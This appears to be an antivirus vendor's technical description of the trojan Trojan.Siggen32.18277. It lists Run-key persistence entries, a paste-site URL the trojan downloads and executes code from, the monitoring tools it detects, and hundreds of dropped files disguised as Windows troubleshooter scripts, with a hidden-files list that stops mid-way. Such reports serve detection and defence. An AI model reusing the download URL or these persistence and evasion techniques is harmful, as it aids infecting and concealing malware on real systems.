Trojan.Siggen32.18277

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'TDAOE3SYUP' = '"%ALLUSERSPROFILE%\fix.js"'
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'pmasfix' = 'wscript.exe //B "%APPDATA%\pmasfix.vbs"'

Creates or modifies the following files

%APPDATA%\microsoft\windows\start menu\programs\startup\fix.js

Malicious functions

Downloads and executes

https://upaste.me/r/664f6025415740809

Terminates or attempts to terminate

the following system processes:

<SYSTEM32>\spoolsv.exe

Searches for windows to

detect analytical utilities:

ClassName: 'FilemonClass', WindowName: ''
ClassName: '', WindowName: 'File Monitor - Sysinternals: www.sysinternals.com'
ClassName: 'PROCMON_WINDOW_CLASS', WindowName: ''
ClassName: '', WindowName: 'Process Monitor - Sysinternals: www.sysinternals.com'
ClassName: 'RegmonClass', WindowName: ''
ClassName: '', WindowName: 'Registry Monitor - Sysinternals: www.sysinternals.com'

Modifies file system

Creates the following files

%ALLUSERSPROFILE%\temp\index\appsdiagnostic.xml
%ALLUSERSPROFILE%\temp\index\audioplaybackdiagnostic.xml
%ALLUSERSPROFILE%\temp\index\audiorecordingdiagnostic.xml
%ALLUSERSPROFILE%\temp\index\bitsdiagnostic.xml
%ALLUSERSPROFILE%\temp\index\bluetoothdiagnostic.xml
%ALLUSERSPROFILE%\temp\index\cameragethelpdiagnostic.xml
%ALLUSERSPROFILE%\temp\index\devicecenterdiagnostic.xml
%ALLUSERSPROFILE%\temp\index\devicediagnostic.xml
%ALLUSERSPROFILE%\temp\index\iebrowsewebdiagnostic.xml
%ALLUSERSPROFILE%\temp\index\iesecuritydiagnostic.xml
%ALLUSERSPROFILE%\temp\index\keyboarddiagnostic.xml
%ALLUSERSPROFILE%\temp\index\maintenancediagnostic.xml
%ALLUSERSPROFILE%\temp\index\networkdiagnostics_1_web.xml
%ALLUSERSPROFILE%\temp\index\networkdiagnostics_2_fileshare.xml
%ALLUSERSPROFILE%\temp\index\networkdiagnostics_4_networkadapter.xml
%ALLUSERSPROFILE%\temp\index\networkdiagnostics_5_inbound.xml
%ALLUSERSPROFILE%\temp\index\networkdiagnostics_6_da.xml
%ALLUSERSPROFILE%\temp\index\pcwdiagnostic.xml
%ALLUSERSPROFILE%\temp\index\powerdiagnostic.xml
%ALLUSERSPROFILE%\temp\index\printerdiagnostic.xml
%ALLUSERSPROFILE%\temp\index\searchdiagnostic.xml
%ALLUSERSPROFILE%\temp\index\speechdiagnostic.xml
%ALLUSERSPROFILE%\temp\index\videoplaybackdiagnostic.xml
%ALLUSERSPROFILE%\temp\index\windowsmediaplayerconfiguration.xml
%ALLUSERSPROFILE%\temp\index\windowsmediaplayermedialibrary.xml
%ALLUSERSPROFILE%\temp\index\windowsmediaplayerplaydvd.xml
%ALLUSERSPROFILE%\temp\index\windowsupdatediagnostic.xml
%ALLUSERSPROFILE%\temp\scheduled\maintenance\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\scheduled\maintenance\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\scheduled\maintenance\resources\licenses\dbu\serverdatacenter\license.rtf
%ALLUSERSPROFILE%\temp\scheduled\maintenance\resources\licenses\df\serverdatacenter\license.rtf
%ALLUSERSPROFILE%\temp\scheduled\maintenance\resources\licenses\settings\a\news\win.ps1
%ALLUSERSPROFILE%\temp\scheduled\maintenance\resources\licenses\setup\pmasfix.vbs
%ALLUSERSPROFILE%\temp\scheduled\maintenance\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\scheduled\maintenance\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\apps\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\apps\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\apps\rc_connectedaccount.ps1
%ALLUSERSPROFILE%\temp\system\apps\rc_tempinetfolder.ps1
%ALLUSERSPROFILE%\temp\system\apps\rc_temporaryprofile.ps1
%ALLUSERSPROFILE%\temp\system\apps\rc_uac.ps1
%ALLUSERSPROFILE%\temp\system\apps\rc_wsreset.ps1
%ALLUSERSPROFILE%\temp\system\apps\rs_connectedaccount.ps1
%ALLUSERSPROFILE%\temp\system\apps\rs_tempinetfolder.ps1
%ALLUSERSPROFILE%\temp\system\apps\rs_temporaryprofile.ps1
%ALLUSERSPROFILE%\temp\system\apps\rs_uac.ps1
%ALLUSERSPROFILE%\temp\system\apps\rs_wsreset.ps1
%ALLUSERSPROFILE%\temp\system\apps\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\apps\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\apps\ts_main.ps1
%ALLUSERSPROFILE%\temp\system\apps\utils_apps.ps1
%ALLUSERSPROFILE%\temp\system\apps\vf_uac.ps1
%ALLUSERSPROFILE%\temp\system\apps\vf_wsreset.ps1
%ALLUSERSPROFILE%\temp\system\audio\cl_audiodiagnosticsnapin.ps1
%ALLUSERSPROFILE%\temp\system\audio\cl_invocation.ps1
%ALLUSERSPROFILE%\temp\system\audio\cl_loadassembly.ps1
%ALLUSERSPROFILE%\temp\system\audio\cl_rundiagnosticscript.ps1
%ALLUSERSPROFILE%\temp\system\audio\cl_utility.ps1
%ALLUSERSPROFILE%\temp\system\audio\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\audio\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\audio\rs_apoloadfailure.ps1
%ALLUSERSPROFILE%\temp\system\audio\rs_audioservice.ps1
%ALLUSERSPROFILE%\temp\system\audio\rs_audioserviceresponse.ps1
%ALLUSERSPROFILE%\temp\system\audio\rs_changevolume.ps1
%ALLUSERSPROFILE%\temp\system\audio\rs_enableincpl.ps1
%ALLUSERSPROFILE%\temp\system\audio\rs_hdaudiodriver.ps1
%ALLUSERSPROFILE%\temp\system\audio\rs_notdefault.ps1
%ALLUSERSPROFILE%\temp\system\audio\rs_samplingrate.ps1
%ALLUSERSPROFILE%\temp\system\audio\rs_unmute.ps1
%ALLUSERSPROFILE%\temp\system\audio\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\audio\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\audio\ts_apoloadfailure.ps1
%ALLUSERSPROFILE%\temp\system\audio\ts_audiodevicedriver.ps1
%ALLUSERSPROFILE%\temp\system\audio\ts_audioservice.ps1
%ALLUSERSPROFILE%\temp\system\audio\ts_audioserviceresponse.ps1
%ALLUSERSPROFILE%\temp\system\audio\ts_disabledincpl.ps1
%ALLUSERSPROFILE%\temp\system\audio\ts_hdaudiodriver.ps1
%ALLUSERSPROFILE%\temp\system\audio\ts_lowvolume.ps1
%ALLUSERSPROFILE%\temp\system\audio\ts_mute.ps1
%ALLUSERSPROFILE%\temp\system\audio\ts_notdefault.ps1
%ALLUSERSPROFILE%\temp\system\audio\ts_samplingrate.ps1
%ALLUSERSPROFILE%\temp\system\audio\ts_unpluggedin.ps1
%ALLUSERSPROFILE%\temp\system\audio\vf_hdaudiodriver.ps1
%ALLUSERSPROFILE%\temp\system\audio\vf_lowvolume.ps1
%ALLUSERSPROFILE%\temp\system\bits\cl_registry.ps1
%ALLUSERSPROFILE%\temp\system\bits\cl_service.ps1
%ALLUSERSPROFILE%\temp\system\bits\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\bits\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\bits\rc_bitsacl.ps1
%ALLUSERSPROFILE%\temp\system\bits\rc_bitsdll.ps1
%ALLUSERSPROFILE%\temp\system\bits\rc_bitsregkeys.ps1
%ALLUSERSPROFILE%\temp\system\bits\rs_bitsacl.ps1
%ALLUSERSPROFILE%\temp\system\bits\rs_bitsdll.ps1
%ALLUSERSPROFILE%\temp\system\bits\rs_bitsregkeys.ps1
%ALLUSERSPROFILE%\temp\system\bits\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\bits\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\bits\ts_main.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\bluetooth\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\bluetooth\rc_btradiooff.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\rc_checkbt.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\rc_disabled.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\rc_driverproblem.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\rc_otherissue.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\rc_pendingrestart.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\rs_btradiooff.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\rs_checkbt.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\rs_disabled.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\rs_driverproblem.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\rs_otherissue.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\rs_pendingrestart.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\bluetooth\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\bluetooth\ts_main.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\vf_btradiooff.ps1
%ALLUSERSPROFILE%\temp\system\device\cl_detectingdevice.ps1
%ALLUSERSPROFILE%\temp\system\device\cl_utility.ps1
%ALLUSERSPROFILE%\temp\system\device\db_deviceerrorlibrary.ps1
%ALLUSERSPROFILE%\temp\system\device\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\device\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\device\rs_checkdriversoninstall.ps1
%ALLUSERSPROFILE%\temp\system\device\rs_devicedriverneedsupdate.ps1
%ALLUSERSPROFILE%\temp\system\device\rs_drivernotfound.ps1
%ALLUSERSPROFILE%\temp\system\device\rs_enabledevice.ps1
%ALLUSERSPROFILE%\temp\system\device\rs_informcustomer.ps1
%ALLUSERSPROFILE%\temp\system\device\rs_pendingrestart.ps1
%ALLUSERSPROFILE%\temp\system\device\rs_rescanalldevices.ps1
%ALLUSERSPROFILE%\temp\system\device\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\device\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\device\ts_checkdriversoninstall.ps1
%ALLUSERSPROFILE%\temp\system\device\ts_devicedisabled.ps1
%ALLUSERSPROFILE%\temp\system\device\ts_devicedriverneedsupdate.ps1
%ALLUSERSPROFILE%\temp\system\device\ts_drivernotfound.ps1
%ALLUSERSPROFILE%\temp\system\device\ts_hardwaredevicemain.ps1
%ALLUSERSPROFILE%\temp\system\device\ts_informcustomer.ps1
%ALLUSERSPROFILE%\temp\system\device\ts_notworkingproperly.ps1
%ALLUSERSPROFILE%\temp\system\device\ts_pendingrestart.ps1
%ALLUSERSPROFILE%\temp\system\device\ts_rescanalldevices.ps1
%ALLUSERSPROFILE%\temp\system\device\vf_rescanalldevices.ps1
%ALLUSERSPROFILE%\temp\system\devicecenter\cl_utility.ps1
%ALLUSERSPROFILE%\temp\system\devicecenter\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\devicecenter\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\devicecenter\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\devicecenter\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\devicecenter\ts_devicecenter.ps1
%ALLUSERSPROFILE%\temp\system\iebrowseweb\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\iebrowseweb\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\iebrowseweb\rs_disableaddon.ps1
%ALLUSERSPROFILE%\temp\system\iebrowseweb\rs_disableaddonloadingtime.ps1
%ALLUSERSPROFILE%\temp\system\iebrowseweb\rs_resetcachesize.ps1
%ALLUSERSPROFILE%\temp\system\iebrowseweb\rs_resetpagesyncpolicy.ps1
%ALLUSERSPROFILE%\temp\system\iebrowseweb\rs_restoreieconnection.ps1
%ALLUSERSPROFILE%\temp\system\iebrowseweb\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\iebrowseweb\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\iebrowseweb\ts_ieaddon.ps1
%ALLUSERSPROFILE%\temp\system\iebrowseweb\ts_ieaddonloadingtime.ps1
%ALLUSERSPROFILE%\temp\system\iebrowseweb\ts_ieconnection.ps1
%ALLUSERSPROFILE%\temp\system\iebrowseweb\ts_pagesyncpolicy.ps1
%ALLUSERSPROFILE%\temp\system\iebrowseweb\ts_tempfilecachesize.ps1
%ALLUSERSPROFILE%\temp\system\iebrowseweb\vf_iedefectiveaddon.ps1
%ALLUSERSPROFILE%\temp\system\iesecurity\iesecurity_troubleshooter.ps1
%ALLUSERSPROFILE%\temp\system\iesecurity\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\iesecurity\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\iesecurity\rs_blockpopups.ps1
%ALLUSERSPROFILE%\temp\system\iesecurity\rs_iesecuritylevels.ps1
%ALLUSERSPROFILE%\temp\system\iesecurity\rs_phishingfilter.ps1
%ALLUSERSPROFILE%\temp\system\iesecurity\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\iesecurity\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\iesecurity\ts_blockpopups.ps1
%ALLUSERSPROFILE%\temp\system\iesecurity\ts_iesecuritylevels.ps1
%ALLUSERSPROFILE%\temp\system\iesecurity\ts_phishingfilter.ps1
%ALLUSERSPROFILE%\temp\system\keyboard\cl_cicero.ps1
%ALLUSERSPROFILE%\temp\system\keyboard\cl_telemetry.ps1
%ALLUSERSPROFILE%\temp\system\keyboard\keyboarddiagnostic.ps1
%ALLUSERSPROFILE%\temp\system\keyboard\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\keyboard\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\keyboard\rs_cicero.ps1
%ALLUSERSPROFILE%\temp\system\keyboard\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\keyboard\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\keyboard\ts_cicero.ps1
%ALLUSERSPROFILE%\temp\system\networking\htinteractiveres.ps1
%ALLUSERSPROFILE%\temp\system\networking\interactiveres.ps1
%ALLUSERSPROFILE%\temp\system\networking\networkdiagnosticsnapin.dll
%ALLUSERSPROFILE%\temp\system\networking\networkdiagnosticsresolve.ps1
%ALLUSERSPROFILE%\temp\system\networking\networkdiagnosticstroubleshoot.ps1
%ALLUSERSPROFILE%\temp\system\networking\networkdiagnosticsverify.ps1
%ALLUSERSPROFILE%\temp\system\networking\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\networking\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\networking\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\networking\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\networking\startdpsservice.ps1
%ALLUSERSPROFILE%\temp\system\networking\utilityfunctions.ps1
%ALLUSERSPROFILE%\temp\system\networking\utilitysetconstants.ps1
%ALLUSERSPROFILE%\temp\system\pcw\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\pcw\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\pcw\rs_programcompatibilitywizard.ps1
%ALLUSERSPROFILE%\temp\system\pcw\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\pcw\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\pcw\ts_programcompatibilitywizard.ps1
%ALLUSERSPROFILE%\temp\system\pcw\vf_programcompatibilitywizard.ps1
%ALLUSERSPROFILE%\temp\system\power\power_troubleshooter.ps1
%ALLUSERSPROFILE%\temp\system\power\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\power\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\power\prefetch\fix.js
%ALLUSERSPROFILE%\temp\system\power\rs_adjustdimdisplay.ps1
%ALLUSERSPROFILE%\temp\system\power\rs_adjustscreenbrightness.ps1
%ALLUSERSPROFILE%\temp\system\power\rs_adjustwirelessadaptersettings.ps1
%ALLUSERSPROFILE%\temp\system\power\rs_balanced.ps1
%ALLUSERSPROFILE%\temp\system\power\rs_changeprocessorstate.ps1
%ALLUSERSPROFILE%\temp\system\power\rs_disablescreensaver.ps1
%ALLUSERSPROFILE%\temp\system\power\rs_disableusbselective.ps1
%ALLUSERSPROFILE%\temp\system\power\rs_resetdisplayidletimeout.ps1
%ALLUSERSPROFILE%\temp\system\power\rs_resetidledisktimeout.ps1
%ALLUSERSPROFILE%\temp\system\power\rs_resetidlesleepsetting.ps1
%ALLUSERSPROFILE%\temp\system\power\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\power\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\power\ts_balanced.ps1
%ALLUSERSPROFILE%\temp\system\power\ts_dimdisplay.ps1
%ALLUSERSPROFILE%\temp\system\power\ts_displayidletimeout.ps1
%ALLUSERSPROFILE%\temp\system\power\ts_idledisktimeout.ps1
%ALLUSERSPROFILE%\temp\system\power\ts_idlesleepsetting.ps1
%ALLUSERSPROFILE%\temp\system\power\ts_minprocessorstate.ps1
%ALLUSERSPROFILE%\temp\system\power\ts_screenbrightness.ps1
%ALLUSERSPROFILE%\temp\system\power\ts_screensaver.ps1
%ALLUSERSPROFILE%\temp\system\power\ts_usbselective.ps1
%ALLUSERSPROFILE%\temp\system\power\ts_wirelessadaptersettings.ps1
%ALLUSERSPROFILE%\temp\system\printer\mf_printerdiagnostic.ps1
%ALLUSERSPROFILE%\temp\system\printer\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\printer\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\printer\rs_cancelalljobs.ps1
%ALLUSERSPROFILE%\temp\system\printer\rs_deleteprintjobs.ps1
%ALLUSERSPROFILE%\temp\system\printer\rs_noprinterinstalled.ps1
%ALLUSERSPROFILE%\temp\system\printer\rs_printerdriver.ps1
%ALLUSERSPROFILE%\temp\system\printer\rs_printerturnedoff.ps1
%ALLUSERSPROFILE%\temp\system\printer\rs_processprinterjobs.ps1
%ALLUSERSPROFILE%\temp\system\printer\rs_restartspoolerservice.ps1
%ALLUSERSPROFILE%\temp\system\printer\rs_setspoolerstartmode.ps1
%ALLUSERSPROFILE%\temp\system\printer\rs_spoolercrashing.ps1
%ALLUSERSPROFILE%\temp\system\printer\rs_startspoolerservice.ps1
%ALLUSERSPROFILE%\temp\system\printer\rs_wrongdefaultprinter.ps1
%ALLUSERSPROFILE%\temp\system\printer\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\printer\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\printer\ts_cannotconnect.ps1
%ALLUSERSPROFILE%\temp\system\printer\ts_defaultprinter.ps1
%ALLUSERSPROFILE%\temp\system\printer\ts_noprinterinstalled.ps1
%ALLUSERSPROFILE%\temp\system\printer\ts_outofpaper.ps1
%ALLUSERSPROFILE%\temp\system\printer\ts_outoftoner.ps1
%ALLUSERSPROFILE%\temp\system\printer\ts_paperjam.ps1
%ALLUSERSPROFILE%\temp\system\printer\ts_printerdriver.ps1
%ALLUSERSPROFILE%\temp\system\printer\ts_printerdrivererror.ps1
%ALLUSERSPROFILE%\temp\system\printer\ts_printerturnedoff.ps1
%ALLUSERSPROFILE%\temp\system\printer\ts_printjobsstuck.ps1
%ALLUSERSPROFILE%\temp\system\printer\ts_setspoolermode.ps1
%ALLUSERSPROFILE%\temp\system\printer\ts_spoolercrashing.ps1
%ALLUSERSPROFILE%\temp\system\printer\ts_spoolerservice.ps1
%ALLUSERSPROFILE%\temp\system\printer\vf_printerturnedoff.ps1
%ALLUSERSPROFILE%\temp\system\search\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\search\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\search\rs_resetwindowssearchapp.ps1
%ALLUSERSPROFILE%\temp\system\search\rs_restoredefaults.ps1
%ALLUSERSPROFILE%\temp\system\search\rs_restorepermissions.ps1
%ALLUSERSPROFILE%\temp\system\search\rs_startindexingservice.ps1
%ALLUSERSPROFILE%\temp\system\search\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\search\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\search\ts_checkpermissions.ps1
%ALLUSERSPROFILE%\temp\system\search\ts_filterhostcrashing.ps1
%ALLUSERSPROFILE%\temp\system\search\ts_forcedshutdowninrecovery.ps1
%ALLUSERSPROFILE%\temp\system\search\ts_forcedshutdownnocorruption.ps1
%ALLUSERSPROFILE%\temp\system\search\ts_indexingservice.ps1
%ALLUSERSPROFILE%\temp\system\search\ts_indexingservicecrashing.ps1
%ALLUSERSPROFILE%\temp\system\search\ts_protocolhostcrashing.ps1
%ALLUSERSPROFILE%\temp\system\search\ts_searchapp.ps1
%ALLUSERSPROFILE%\temp\system\speech\mf_speechdiagnostic.ps1
%ALLUSERSPROFILE%\temp\system\speech\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\speech\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\speech\rs_calibrationrequired.ps1
%ALLUSERSPROFILE%\temp\system\speech\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\speech\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\speech\vf_calibrationrequired.ps1
%ALLUSERSPROFILE%\temp\system\video\graphicsdriverregtool-definitions.psm1
%ALLUSERSPROFILE%\temp\system\video\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\video\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\video\rc_aud_reg_settings.ps1
%ALLUSERSPROFILE%\temp\system\video\rc_viddrv_displaytopology.ps1
%ALLUSERSPROFILE%\temp\system\video\rc_viddrv_driverblocklist.ps1
%ALLUSERSPROFILE%\temp\system\video\rc_viddrv_hevccodeccheck.ps1
%ALLUSERSPROFILE%\temp\system\video\rc_viddrv_hwdrmcheck.ps1
%ALLUSERSPROFILE%\temp\system\video\rc_viddrv_msvideo.ps1
%ALLUSERSPROFILE%\temp\system\video\rc_viddrv_unsigned.ps1
%ALLUSERSPROFILE%\temp\system\video\rs_aud_reg_settings.ps1
%ALLUSERSPROFILE%\temp\system\video\rs_viddrv_displaytopology.ps1
%ALLUSERSPROFILE%\temp\system\video\rs_viddrv_genericfailure.ps1
%ALLUSERSPROFILE%\temp\system\video\rs_viddrv_hevccodeccheck.ps1
%ALLUSERSPROFILE%\temp\system\video\rs_viddrv_hwdrmcheck.ps1
%ALLUSERSPROFILE%\temp\system\video\rs_viddrv_msvideo.ps1
%ALLUSERSPROFILE%\temp\system\video\rs_viddrv_unsigned.ps1
%ALLUSERSPROFILE%\temp\system\video\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\video\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\video\ts_main.ps1
%ALLUSERSPROFILE%\temp\system\video\vf_aud_reg_settings.ps1
%ALLUSERSPROFILE%\temp\system\video\vf_viddrv_driverblocklist.ps1
%ALLUSERSPROFILE%\temp\system\video\vf_viddrv_msvideo.ps1
%ALLUSERSPROFILE%\temp\system\video\vf_viddrv_unsigned.ps1
%ALLUSERSPROFILE%\pmas_v10.exe
C:\users\public\settings\a\news\win.ps1
%ALLUSERSPROFILE%\fix.js
%APPDATA%\pmasfix.vbs

Sets the 'hidden' attribute to the following files

%ALLUSERSPROFILE%\temp\index\appsdiagnostic.xml
%ALLUSERSPROFILE%\temp\index\audioplaybackdiagnostic.xml
%ALLUSERSPROFILE%\temp\index\audiorecordingdiagnostic.xml
%ALLUSERSPROFILE%\temp\index\bitsdiagnostic.xml
%ALLUSERSPROFILE%\temp\index\bluetoothdiagnostic.xml
%ALLUSERSPROFILE%\temp\index\cameragethelpdiagnostic.xml
%ALLUSERSPROFILE%\temp\index\devicecenterdiagnostic.xml
%ALLUSERSPROFILE%\temp\index\devicediagnostic.xml
%ALLUSERSPROFILE%\temp\index\iebrowsewebdiagnostic.xml
%ALLUSERSPROFILE%\temp\index\iesecuritydiagnostic.xml
%ALLUSERSPROFILE%\temp\index\keyboarddiagnostic.xml
%ALLUSERSPROFILE%\temp\index\maintenancediagnostic.xml
%ALLUSERSPROFILE%\temp\index\networkdiagnostics_1_web.xml
%ALLUSERSPROFILE%\temp\index\networkdiagnostics_2_fileshare.xml
%ALLUSERSPROFILE%\temp\index\networkdiagnostics_4_networkadapter.xml
%ALLUSERSPROFILE%\temp\index\networkdiagnostics_5_inbound.xml
%ALLUSERSPROFILE%\temp\index\networkdiagnostics_6_da.xml
%ALLUSERSPROFILE%\temp\index\powerdiagnostic.xml
%ALLUSERSPROFILE%\temp\index\printerdiagnostic.xml
%ALLUSERSPROFILE%\temp\index\searchdiagnostic.xml
%ALLUSERSPROFILE%\temp\index\speechdiagnostic.xml
%ALLUSERSPROFILE%\temp\index\videoplaybackdiagnostic.xml
%ALLUSERSPROFILE%\temp\index\windowsmediaplayerconfiguration.xml
%ALLUSERSPROFILE%\temp\index\windowsmediaplayermedialibrary.xml
%ALLUSERSPROFILE%\temp\index\windowsmediaplayerplaydvd.xml
%ALLUSERSPROFILE%\temp\index\windowsupdatediagnostic.xml
%ALLUSERSPROFILE%\temp\scheduled\maintenance\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\scheduled\maintenance\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\scheduled\maintenance\resources\licenses\dbu\serverdatacenter\license.rtf
%ALLUSERSPROFILE%\temp\scheduled\maintenance\resources\licenses\df\serverdatacenter\license.rtf
%ALLUSERSPROFILE%\temp\scheduled\maintenance\resources\licenses\settings\a\news\win.ps1
%ALLUSERSPROFILE%\temp\scheduled\maintenance\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\scheduled\maintenance\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\apps\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\apps\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\apps\rc_connectedaccount.ps1
%ALLUSERSPROFILE%\temp\system\apps\rc_tempinetfolder.ps1
%ALLUSERSPROFILE%\temp\system\apps\rc_temporaryprofile.ps1
%ALLUSERSPROFILE%\temp\system\apps\rc_uac.ps1
%ALLUSERSPROFILE%\temp\system\apps\rc_wsreset.ps1
%ALLUSERSPROFILE%\temp\system\apps\rs_connectedaccount.ps1
%ALLUSERSPROFILE%\temp\system\apps\rs_tempinetfolder.ps1
%ALLUSERSPROFILE%\temp\system\apps\rs_temporaryprofile.ps1
%ALLUSERSPROFILE%\temp\system\apps\rs_uac.ps1
%ALLUSERSPROFILE%\temp\system\apps\rs_wsreset.ps1
%ALLUSERSPROFILE%\temp\system\apps\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\apps\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\apps\ts_main.ps1
%ALLUSERSPROFILE%\temp\system\apps\utils_apps.ps1
%ALLUSERSPROFILE%\temp\system\apps\vf_uac.ps1
%ALLUSERSPROFILE%\temp\system\apps\vf_wsreset.ps1
%ALLUSERSPROFILE%\temp\system\audio\cl_audiodiagnosticsnapin.ps1
%ALLUSERSPROFILE%\temp\system\audio\cl_invocation.ps1
%ALLUSERSPROFILE%\temp\system\audio\cl_loadassembly.ps1
%ALLUSERSPROFILE%\temp\system\audio\cl_rundiagnosticscript.ps1
%ALLUSERSPROFILE%\temp\system\audio\cl_utility.ps1
%ALLUSERSPROFILE%\temp\system\audio\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\audio\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\audio\rs_apoloadfailure.ps1
%ALLUSERSPROFILE%\temp\system\audio\rs_audioservice.ps1
%ALLUSERSPROFILE%\temp\system\audio\rs_audioserviceresponse.ps1
%ALLUSERSPROFILE%\temp\system\audio\rs_changevolume.ps1
%ALLUSERSPROFILE%\temp\system\audio\rs_enableincpl.ps1
%ALLUSERSPROFILE%\temp\system\audio\rs_hdaudiodriver.ps1
%ALLUSERSPROFILE%\temp\system\audio\rs_notdefault.ps1
%ALLUSERSPROFILE%\temp\system\audio\rs_samplingrate.ps1
%ALLUSERSPROFILE%\temp\system\audio\rs_unmute.ps1
%ALLUSERSPROFILE%\temp\system\audio\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\audio\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\audio\ts_apoloadfailure.ps1
%ALLUSERSPROFILE%\temp\system\audio\ts_audiodevicedriver.ps1
